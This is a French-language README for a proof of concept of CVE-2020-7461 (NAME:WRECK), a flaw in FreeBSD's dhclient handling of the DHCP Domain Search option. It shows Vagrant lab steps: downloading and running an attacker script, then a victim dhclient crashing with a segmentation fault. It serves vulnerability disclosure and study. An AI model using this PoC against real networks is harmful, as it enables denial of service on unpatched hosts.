CVE-2020-7461

PoC pour une vulnérabilité DHCP (NAME:WRECK) dans FreeBSD

À des fins éducatives uniquement

Environnement

• Hôte: macOS 11.2.1
• Vagrant: 2.2.15
• Victime: FreeBSD 12.1-STABLE r364849
• Attaquant: Ubuntu 20.04

Avertissement

Ce PoC provoquera un déni de service (DoS) au lieu d'une exécution de code (RCE) pour empêcher toute utilisation abusive.

PoC

Désactiver le serveur DHCP dans VirtualBox

Lancer les machines virtuelles

$ cd victim
$ vagrant up
$ cd ..

$ cd attacker
$ vagrant up
$ vagrant ssh
vagrant@vagrant:~$ sudo apt -y update && apt -y install python3 python3-pip
vagrant@vagrant:~$ wget https://raw.githubusercontent.com/knqyf263/CVE-2020-7461/main/poc.py
vagrant@vagrant:~$ python3 poc.py
Sniffing...

Exécuter dhclient

Ouvrir un autre terminal

$ cd victim
$ vagrant ssh
vagrant@freebsd:~ % sudo dhclient em1
DHCPREQUEST on em1 to 255.255.255.255 port 67
Invalid forward pointer in DHCP Domain Search option compression.
Segmentation fault

Références

• https://www.forescout.com/company/resources/namewreck-breaking-and-fixing-dns-implementations/
• https://www.freebsd.org/security/advisories/FreeBSD-SA-20:26.dhclient.asc

Auteur

Teppei Fukuda